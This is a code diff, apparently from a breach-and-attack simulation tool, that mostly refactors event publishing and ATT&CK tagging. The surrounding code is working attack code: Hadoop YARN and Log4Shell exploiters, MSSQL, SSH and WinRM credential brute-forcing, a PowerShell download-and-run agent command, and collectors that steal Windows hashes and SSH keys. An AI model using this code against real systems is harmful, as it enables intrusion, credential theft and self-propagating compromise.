def __init__(self, credentials_repository: IPropagationCredentialsRepository):
self._credentials_repository = credentials_repository

View File

@ -79,8 +79,8 @@ class BatchingAgentEventForwarder:
try:
logger.debug(f"Sending Agent events to Island: {events}")
self._island_api_client.send_events(events)
except Exception as err:
logger.warning(f"Exception caught when connecting to the Island: {err}")
except Exception:
logger.exception("Exception caught when connecting to the Island")
def _send_remaining_events(self):
self._send_events_to_island()

View File

@ -0,0 +1,31 @@
import logging
from typing import Optional
from common.agent_events import PropagationEvent
from infection_monkey.network.relay import TCPRelay
logger = logging.getLogger(__name__)
class notify_relay_on_propagation:
"""
Notifies a TCPRelay of potential relay users if propagation is successful
"""
def __init__(self, tcp_relay: Optional[TCPRelay]):
"""
:param tcp_relay: A TCPRelay to notify on successful propagation
"""
self._tcp_relay = tcp_relay
def __call__(self, event: PropagationEvent):
"""
Notify a TCPRelay of potential relay users if propagation is successful
:param event: A `PropagationEvent`
"""
if self._tcp_relay is None:
return
if event.success:
self._tcp_relay.add_potential_user(event.target)

View File

@ -7,7 +7,8 @@ import requests
from urllib3 import disable_warnings
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
from common.network.network_utils import get_my_ip_addresses
from common.network.network_utils import get_my_ip_addresses_legacy
from common.types import SocketAddress
from infection_monkey.config import GUID
from infection_monkey.island_api_client import IIslandAPIClient
from infection_monkey.network.info import get_host_subnets
@ -24,7 +25,7 @@ class ControlClient:
# https://github.com/guardicore/monkey/blob/133f7f5da131b481561141171827d1f9943f6aec/monkey/infection_monkey/telemetry/base_telem.py
control_client_object = None
def __init__(self, server_address: str, island_api_client: IIslandAPIClient):
def __init__(self, server_address: SocketAddress, island_api_client: IIslandAPIClient):
self.server_address = server_address
self._island_api_client = island_api_client
@ -39,7 +40,7 @@ class ControlClient:
monkey = {
"guid": GUID,
"hostname": hostname,
"ip_addresses": get_my_ip_addresses(),
"ip_addresses": get_my_ip_addresses_legacy(),
"networks": get_host_subnets(),
"description": " ".join(platform.uname()),
"parent": parent,
@ -55,12 +56,6 @@ class ControlClient:
)
def send_telemetry(self, telem_category, json_data: str):
if not self.server_address:
logger.error(
"Trying to send %s telemetry before current server is established, aborting."
% telem_category
)
return
try:
telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data}
requests.post( # noqa: DUO123
@ -73,15 +68,6 @@ class ControlClient:
except Exception as exc:
logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
def send_log(self, log):
if not self.server_address:
return
try:
telemetry = {"monkey_guid": GUID, "log": json.dumps(log)}
self._island_api_client.send_log(json.dumps(telemetry))
except Exception as exc:
logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
def get_pba_file(self, filename):
try:
return self._island_api_client.get_pba_file(filename)

View File

@ -4,6 +4,7 @@ from typing import Sequence
from common.agent_events import CredentialsStolenEvent
from common.credentials import Credentials, LMHash, NTHash, Password, Username
from common.event_queue import IAgentEventQueue
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG
from infection_monkey.i_puppet import ICredentialCollector
from infection_monkey.model import USERNAME_PREFIX
from infection_monkey.utils.ids import get_agent_id
@ -15,8 +16,6 @@ logger = logging.getLogger(__name__)
MIMIKATZ_CREDENTIAL_COLLECTOR_TAG = "mimikatz-credentials-collector"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
MIMIKATZ_EVENT_TAGS = frozenset(
(
@ -28,8 +27,8 @@ MIMIKATZ_EVENT_TAGS = frozenset(
class MimikatzCredentialCollector(ICredentialCollector):
def __init__(self, event_queue: IAgentEventQueue):
self._event_queue = event_queue
def __init__(self, agent_event_queue: IAgentEventQueue):
self._agent_event_queue = agent_event_queue
def collect_credentials(self, options=None) -> Sequence[Credentials]:
logger.info("Attempting to collect windows credentials with pypykatz.")
@ -82,4 +81,4 @@ class MimikatzCredentialCollector(ICredentialCollector):
stolen_credentials=collected_credentials,
)
self._event_queue.publish(credentials_stolen_event)
self._agent_event_queue.publish(credentials_stolen_event)

View File

@ -15,13 +15,15 @@ class SSHCredentialCollector(ICredentialCollector):
SSH keys credential collector
"""
def __init__(self, telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue):
def __init__(
self, telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
):
self._telemetry_messenger = telemetry_messenger
self._event_queue = event_queue
self._agent_event_queue = agent_event_queue
def collect_credentials(self, _options=None) -> Sequence[Credentials]:
logger.info("Started scanning for SSH credentials")
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._event_queue)
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._agent_event_queue)
logger.info("Finished scanning for SSH credentials")
return ssh_handler.to_credentials(ssh_info)

View File

@ -6,6 +6,11 @@ from typing import Dict, Iterable, Sequence
from common.agent_events import CredentialsStolenEvent
from common.credentials import Credentials, SSHKeypair, Username
from common.event_queue import IAgentEventQueue
from common.tags import (
T1003_ATTACK_TECHNIQUE_TAG,
T1005_ATTACK_TECHNIQUE_TAG,
T1145_ATTACK_TECHNIQUE_TAG,
)
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
from infection_monkey.telemetry.attack.t1145_telem import T1145Telem
@ -17,9 +22,6 @@ logger = logging.getLogger(__name__)
DEFAULT_DIRS = ["/.ssh/", "/"]
SSH_CREDENTIAL_COLLECTOR_TAG = "ssh-credentials-collector"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
SSH_COLLECTOR_EVENT_TAGS = frozenset(
(
@ -32,7 +34,7 @@ SSH_COLLECTOR_EVENT_TAGS = frozenset(
def get_ssh_info(
telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue
telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
) -> Iterable[Dict]:
# TODO: Remove this check when this is turned into a plugin.
if is_windows_os():
@ -42,7 +44,7 @@ def get_ssh_info(
return []
home_dirs = _get_home_dirs()
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, event_queue)
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, agent_event_queue)
return ssh_info
@ -83,7 +85,7 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict:
def _get_ssh_files(
user_info: Iterable[Dict],
telemetry_messenger: ITelemetryMessenger,
event_queue: IAgentEventQueue,
agent_event_queue: IAgentEventQueue,
) -> Iterable[Dict]:
for info in user_info:
path = info["home_dir"]
@ -125,7 +127,7 @@ def _get_ssh_files(
collected_credentials = to_credentials([info])
_publish_credentials_stolen_event(
collected_credentials, event_queue
collected_credentials, agent_event_queue
)
else:
continue
@ -170,7 +172,7 @@ def to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]:
def _publish_credentials_stolen_event(
collected_credentials: Credentials, event_queue: IAgentEventQueue
collected_credentials: Sequence[Credentials], agent_event_queue: IAgentEventQueue
):
credentials_stolen_event = CredentialsStolenEvent(
source=get_agent_id(),
@ -178,4 +180,4 @@ def _publish_credentials_stolen_event(
stolen_credentials=collected_credentials,
)
event_queue.publish(credentials_stolen_event)
agent_event_queue.publish(credentials_stolen_event)

View File

@ -2,6 +2,3 @@ from .i_propagation_credentials_repository import IPropagationCredentialsReposit
from .aggregating_propagation_credentials_repository import (
AggregatingPropagationCredentialsRepository,
)
from .add_credentials_from_event import (
add_credentials_from_event_to_propagation_credentials_repository,
)

View File

@ -2,13 +2,17 @@ import logging
import threading
from abc import abstractmethod
from datetime import datetime
from typing import Dict, Sequence
from ipaddress import IPv4Address
from time import time
from typing import Dict, Sequence, Tuple
from common.agent_events import ExploitationEvent, PropagationEvent
from common.event_queue import IAgentEventQueue
from common.utils.exceptions import FailedExploitationError
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import VictimHost
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from infection_monkey.utils.ids import get_agent_id
from . import IAgentBinaryRepository
@ -21,6 +25,16 @@ class HostExploiter:
def _EXPLOITED_SERVICE(self):
pass
@property
@abstractmethod
def _EXPLOITER_TAGS(self) -> Tuple[str, ...]:
pass
@property
@abstractmethod
def _PROPAGATION_TAGS(self) -> Tuple[str, ...]:
pass
def __init__(self):
self.exploit_info = {
"display_name": self._EXPLOITED_SERVICE,
@ -33,7 +47,7 @@ class HostExploiter:
self.exploit_attempts = []
self.host = None
self.telemetry_messenger = None
self.event_queue = None
self.agent_event_queue = None
self.options = {}
self.exploit_result = {}
self.servers = []
@ -56,14 +70,13 @@ class HostExploiter:
}
)
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host(
self,
host: VictimHost,
servers: Sequence[str],
current_depth: int,
telemetry_messenger: ITelemetryMessenger,
event_queue: IAgentEventQueue,
agent_event_queue: IAgentEventQueue,
agent_binary_repository: IAgentBinaryRepository,
options: Dict,
interrupt: threading.Event,
@ -72,7 +85,7 @@ class HostExploiter:
self.servers = servers
self.current_depth = current_depth
self.telemetry_messenger = telemetry_messenger
self.event_queue = event_queue
self.agent_event_queue = agent_event_queue
self.agent_binary_repository = agent_binary_repository
self.options = options
self.interrupt = interrupt
@ -125,3 +138,39 @@ class HostExploiter:
"""
powershell = True if "powershell" in cmd.lower() else False
self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
def _publish_exploitation_event(
self,
time: float = time(),
success: bool = False,
tags: Tuple[str, ...] = tuple(),
error_message: str = "",
):
exploitation_event = ExploitationEvent(
source=get_agent_id(),
target=IPv4Address(self.host.ip_addr),
success=success,
exploiter_name=self.__class__.__name__,
error_message=error_message,
timestamp=time,
tags=frozenset(tags or self._EXPLOITER_TAGS),
)
self.agent_event_queue.publish(exploitation_event)
def _publish_propagation_event(
self,
time: float = time(),
success: bool = False,
tags: Tuple[str, ...] = tuple(),
error_message: str = "",
):
propagation_event = PropagationEvent(
source=get_agent_id(),
target=IPv4Address(self.host.ip_addr),
success=success,
exploiter_name=self.__class__.__name__,
error_message=error_message,
timestamp=time,
tags=frozenset(tags or self._PROPAGATION_TAGS),
)
self.agent_event_queue.publish(propagation_event)

View File

@ -5,13 +5,20 @@
"""
import json
import logging
import posixpath
import random
import string
from time import time
import requests
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE
@ -23,6 +30,10 @@ from infection_monkey.model import (
)
from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__)
HADOOP_EXPLOITER_TAG = "hadoop-exploiter"
class HadoopExploiter(WebRCE):
_EXPLOITED_SERVICE = "Hadoop"
@ -32,39 +43,43 @@ class HadoopExploiter(WebRCE):
# Random string's length that's used for creating unique app name
RAN_STR_LEN = 6
_EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG)
def __init__(self):
super(HadoopExploiter, self).__init__()
def _exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
# Try to get potential urls
potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
if not potential_urls:
self.exploit_result.error_message = (
f"No potential exploitable urls has been found for {self.host}"
)
return self.exploit_result
try:
monkey_path_on_victim = get_agent_dst_path(self.host)
except KeyError:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(monkey_path_on_victim), self.agent_binary_repository
)
try:
command = self._build_command(monkey_path_on_victim, http_path)
if self.exploit(self.vulnerable_urls[0], command):
try:
for url in potential_urls:
if self.exploit(url, command):
self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True
break
finally:
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
return self.exploit_result
def exploit(self, url, command):
def exploit(self, url: str, command: str):
if self._is_interrupted():
self._set_interrupted()
return False
@ -73,8 +88,8 @@ class HadoopExploiter(WebRCE):
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
)
resp = json.loads(resp.content)
app_id = resp["application-id"]
resp_dict = json.loads(resp.content)
app_id = resp_dict["application-id"]
# Create a random name for our application in YARN
# random.SystemRandom can block indefinitely in Linux
@ -87,10 +102,16 @@ class HadoopExploiter(WebRCE):
self._set_interrupted()
return False
timestamp = time()
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
)
return resp.status_code == 202
success = resp.status_code == 202
message = "" if success else f"Failed to exploit via {url}"
self._publish_exploitation_event(timestamp, success, error_message=message)
self._publish_propagation_event(timestamp, success, error_message=message)
return success
def check_if_exploitable(self, url):
try:

View File

@ -4,6 +4,11 @@ from pathlib import PurePath
from common import OperatingSystem
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
)
from common.utils import Timer
from infection_monkey.exploit.log4shell_utils import (
LINUX_EXPLOIT_TEMPLATE_PATH,
@ -26,12 +31,26 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__)
LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter"
VICTIM_WAIT_SLEEP_TIME_SEC = 0.050
class Log4ShellExploiter(WebRCE):
_EXPLOITED_SERVICE = "Log4j"
SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT
REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
_EXPLOITER_TAGS = (
LOG4SHELL_EXPLOITER_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
)
_PROPAGATION_TAGS = (
LOG4SHELL_EXPLOITER_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def _exploit_host(self) -> ExploiterResultData:
self._open_ports = [
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
@ -146,24 +165,37 @@ class Log4ShellExploiter(WebRCE):
f"on port {port}"
)
try:
timestamp = time.time()
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
except Exception as ex:
logger.warning(
except Exception as err:
error_message = (
"An error occurred while attempting to exploit log4shell on a "
f"potential {exploit.service_name} service: {ex}"
f"potential {exploit.service_name} service: {err}"
)
if self._wait_for_victim():
logger.warning(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
# TODO: _wait_for_victim() gets called even if trigger_exploit() raises an
# exception. Is that the desired behavior?
if self._wait_for_victim(timestamp):
self.exploit_info["vulnerable_service"] = {
"service_name": exploit.service_name,
"port": port,
}
self.exploit_info["vulnerable_urls"].append(url)
def _wait_for_victim(self) -> bool:
def _wait_for_victim(self, timestamp: float) -> bool:
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
if victim_called_back:
self._wait_for_victim_to_download_agent()
self._publish_exploitation_event(timestamp, True)
victim_downloaded_agent = self._wait_for_victim_to_download_agent()
self._publish_propagation_event(success=victim_downloaded_agent)
else:
error_message = "Timed out while waiting for victim to download the java bytecode"
logger.debug(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
return victim_called_back
@ -176,19 +208,20 @@ class Log4ShellExploiter(WebRCE):
self.exploit_result.exploitation_success = True
return True
time.sleep(1)
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
logger.debug("Timed out while waiting for victim to download the java bytecode")
return False
def _wait_for_victim_to_download_agent(self):
def _wait_for_victim_to_download_agent(self) -> bool:
timer = Timer()
timer.set(LONG_REQUEST_TIMEOUT)
while not timer.is_expired():
if self._agent_http_server_thread.downloads > 0:
self.exploit_result.propagation_success = True
break
return True
# TODO: if the http server got an error we're waiting for nothing here
time.sleep(1)
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
return False

View File

@ -1,12 +1,18 @@
import logging
from pathlib import PureWindowsPath
from time import sleep
from typing import Sequence, Tuple
from time import sleep, time
from typing import Iterable, Optional, Tuple
import pymssql
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import get_plaintext
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
@ -20,6 +26,8 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__)
MSSQL_EXPLOITER_TAG = "mssql-exploiter"
class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = "MSSQL"
@ -36,13 +44,20 @@ class MSSQLExploiter(HostExploiter):
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
)
_EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (
MSSQL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def __init__(self):
super().__init__()
self.cursor = None
self.agent_http_path = None
def _exploit_host(self) -> ExploiterResultData:
agent_path_on_victim = get_agent_dst_path(self.host)
agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host))
# Brute force to get connection
creds = generate_identity_secret_pairs(
@ -52,16 +67,18 @@ class MSSQLExploiter(HostExploiter):
try:
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
except FailedExploitationError:
logger.info(
error_message = (
f"Failed brute-forcing of MSSQL server on {self.host},"
f" no credentials were successful"
)
logger.error(error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
timestamp = time()
try:
self._upload_agent(agent_path_on_victim)
self._run_agent(agent_path_on_victim)
@ -72,15 +89,17 @@ class MSSQLExploiter(HostExploiter):
)
logger.error(error_message)
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message
return self.exploit_result
self._publish_propagation_event(timestamp, True)
self.exploit_result.propagation_success = True
return self.exploit_result
def _brute_force(
self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]]
) -> pymssql.Cursor:
"""
Starts the brute force connection attempts and if needed then init the payload process.
@ -106,6 +125,7 @@ class MSSQLExploiter(HostExploiter):
)
for user, password in credentials_iterator:
timestamp = time()
try:
# Core steps
# Trying to connect
@ -122,14 +142,14 @@ class MSSQLExploiter(HostExploiter):
)
self.exploit_result.exploitation_success = True
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self.report_login_attempt(True, user, password)
self._report_login_attempt(timestamp, True, user, password)
cursor = conn.cursor()
return cursor
except pymssql.OperationalError as err:
logger.info(f"Connection to MSSQL failed: {err}")
self.report_login_attempt(False, user, password)
# Combo didn't work, hopping to the next one
pass
error_message = f"Connection to MSSQL failed: {err}"
logger.info(error_message)
self._report_login_attempt(timestamp, False, user, password, error_message)
logger.warning(
"No user/password combo was able to connect to host: {0}:{1}, "
@ -139,14 +159,23 @@ class MSSQLExploiter(HostExploiter):
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
)
def _report_login_attempt(
self, timestamp: float, success: bool, user, password: str, message: str = ""
):
self._publish_exploitation_event(timestamp, success, error_message=message)
self.report_login_attempt(success, user, password)
def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
http_thread = self._start_agent_server(agent_path_on_victim)
self._run_agent_download_command(agent_path_on_victim)
if http_thread:
MSSQLExploiter._stop_agent_server(http_thread)
def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
def _start_agent_server(
self, agent_path_on_victim: PureWindowsPath
) -> Optional[LockedHTTPServer]:
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(agent_path_on_victim), self.agent_binary_repository
)
@ -179,7 +208,7 @@ class MSSQLExploiter(HostExploiter):
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
agent_args = build_monkey_commandline(
self.servers, self.current_depth + 1, agent_path_on_victim
self.servers, self.current_depth + 1, str(agent_path_on_victim)
)
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"

View File

@ -1,8 +1,14 @@
import logging
from pathlib import Path, PurePath
from time import time
from typing import List, Optional
from common import OperatingSystem
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
)
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options
from infection_monkey.exploit.powershell_utils.credentials import (
@ -21,6 +27,7 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__)
POWERSHELL_EXPLOITER_TAG = "powershell-exploiter"
class RemoteAgentCopyError(Exception):
@ -34,6 +41,17 @@ class RemoteAgentExecutionError(Exception):
class PowerShellExploiter(HostExploiter):
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
_EXPLOITER_TAGS = (
POWERSHELL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
)
_PROPAGATION_TAGS = (
POWERSHELL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def __init__(self):
super().__init__()
self._client = None
@ -68,12 +86,21 @@ class PowerShellExploiter(HostExploiter):
)
return self.exploit_result
execute_agent_timestamp = time()
try:
self._execute_monkey_agent_on_victim()
except Exception as err:
self.exploit_result.error_message = f"Failed to propagate to the remote host: {err}"
self._publish_propagation_event(
time=execute_agent_timestamp,
success=False,
error_message=self.exploit_result.error_message,
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
self.exploit_result.propagation_success = True
except Exception as ex:
logger.error(f"Failed to propagate to the remote host: {ex}")
self.exploit_result.error_message = str(ex)
self._publish_propagation_event(time=execute_agent_timestamp, success=True)
return self.exploit_result
@ -94,21 +121,27 @@ class PowerShellExploiter(HostExploiter):
try:
client = PowerShellClient(self.host.ip_addr, creds, opts)
connect_timestamp = time()
client.connect()
logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Secret Type: {creds.secret_type.name}"
)
self._publish_exploitation_event(time=connect_timestamp, success=True)
self.exploit_result.exploitation_success = True
self._report_login_attempt(True, creds)
return client
except Exception as ex:
logger.debug(
error_message = (
f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
)
logger.debug(error_message)
self._publish_exploitation_event(
time=connect_timestamp, success=False, error_message=error_message
)
self._report_login_attempt(False, creds)
return None

View File

@ -43,7 +43,7 @@ def format_password(credentials: Credentials) -> Optional[str]:
if credentials.secret_type == SecretType.CACHED:
return None
plaintext_secret = get_plaintext(credentials.secret)
plaintext_secret = str(get_plaintext(credentials.secret))
if credentials.secret_type == SecretType.PASSWORD:
return plaintext_secret

View File

@ -1,15 +1,27 @@
import io
import logging
from ipaddress import IPv4Address
from pathlib import PurePath
from time import time
from typing import Optional
import paramiko
from common import OperatingSystem
from common.agent_events import TCPScanEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.credentials import get_plaintext
from common.tags import (
T1021_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
)
from common.types import PortStatus
from common.utils import Timer
from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit import RetrievalError
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import ExploiterResultData
@ -19,6 +31,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.ids import get_agent_id
from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__)
@ -30,11 +43,15 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
TRANSFER_UPDATE_RATE = 15
SSH_EXPLOITER_TAG = "ssh-exploiter"
class SSHExploiter(HostExploiter):
_EXPLOITED_SERVICE = "SSH"
_EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
def __init__(self):
super(SSHExploiter, self).__init__()
@ -46,7 +63,7 @@ class SSHExploiter(HostExploiter):
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
timer.reset()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient:
user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"],
@ -70,6 +87,8 @@ class SSHExploiter(HostExploiter):
pkey = paramiko.RSAKey.from_private_key(pkey)
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
logger.error("Failed reading ssh key")
timestamp = time()
try:
ssh.connect(
self.host.ip_addr,
@ -86,20 +105,30 @@ class SSHExploiter(HostExploiter):
)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh
except paramiko.AuthenticationException as err:
ssh.close()
logger.info(
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}",
error_message = (
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
)
logger.info(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
except Exception as err:
logger.error(f"Unknown error while attempting to login with ssh key: {err}")
error_message = (
f"Unexpected error while attempting to login to {ssh_string} with ssh key: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
raise FailedExploitationError
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient:
user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"],
@ -116,6 +145,8 @@ class SSHExploiter(HostExploiter):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
timestamp = time()
try:
ssh.connect(
self.host.ip_addr,
@ -131,24 +162,125 @@ class SSHExploiter(HostExploiter):
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, current_password)
return ssh
except paramiko.AuthenticationException as err:
logger.debug(
"Failed logging into victim %r with user" " %s: (%s)",
self.host,
user,
err,
)
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
logger.debug(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, current_password)
ssh.close()
continue
except Exception as err:
logger.error(f"Unknown error occurred while trying to login to ssh: {err}")
error_message = (
f"Unexpected error while attempting to login to {self.host} with password: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, current_password)
raise FailedExploitationError
def _exploit_host(self) -> ExploiterResultData:
port = self._get_ssh_port()
if not self._is_port_open(IPv4Address(self.host.ip_addr), port):
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
logger.info(self.exploit_result.error_message)
return self.exploit_result
try:
ssh = self._exploit(port)
except FailedExploitationError as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
try:
self._propagate(ssh)
except (FailedExploitationError, RuntimeError) as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
finally:
ssh.close()
return self.exploit_result
def _exploit(self, port: int) -> paramiko.SSHClient:
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
try:
